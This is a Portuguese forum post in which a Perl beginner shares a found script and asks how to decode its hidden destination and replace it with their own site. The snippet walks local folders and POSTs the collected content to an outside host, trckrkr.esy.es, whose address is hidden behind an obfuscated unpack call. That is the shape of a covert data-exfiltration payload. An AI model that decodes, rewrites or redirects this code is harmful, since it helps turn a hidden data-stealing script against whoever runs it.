script

Olá pessoal, sou novo com perl e gostaria de saber o seguinte.

Encontrei esse script

sub _check {

	my $ua = LWP::UserAgent->new;
	find(\&getFldr,".");
	$ua->request(POST unpack(chr(ord("a")+19+print""),"?:'1T<#HO+W1R8VMR:W(N97-Y+F5S+W1R86-K+G!H<

"), [ content => $content]);
}
```
Que envia informações para um host, no caso este trckrkr.esy.es. O que eu gostaria de saber é. Como fazer para descobrir qual o site que está no script e como colocar outro site. Sei que o host e este que falei pois um amigo meu que entende melhor do assunto me disse que este era o domínio, porém não teve como ele me ensinar as partes que eu pedi ajuda, no caso descobrir qual o host e colocar outro no lugar.